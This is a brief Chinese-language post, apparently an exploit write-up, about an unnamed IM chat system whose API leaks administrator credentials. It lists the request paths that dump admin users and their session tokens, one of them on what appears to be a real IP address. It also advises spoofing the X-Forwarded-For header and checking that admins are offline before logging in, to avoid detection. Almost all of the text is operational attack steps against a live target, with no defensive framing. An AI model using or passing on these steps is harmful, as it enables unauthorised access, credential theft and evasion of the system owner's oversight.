某IM聊天接口泄露漏洞可获取管理员账户密码

前端登陆界面

前端会员界面

登陆之前，看看那些管理员在线，不在线再去登陆！！！

另外还存在IP欺骗漏洞，先看看他们的登陆IP地址多少，然后：

X-Forwarded-For：xxxxxx

获取管理员账户密码

http://1.1.1.1:1990/adminUsers?page=0&size=100

查看那些管理员在线

http://20.205.58.237:1990/adminUserTokens?page=0&size=1000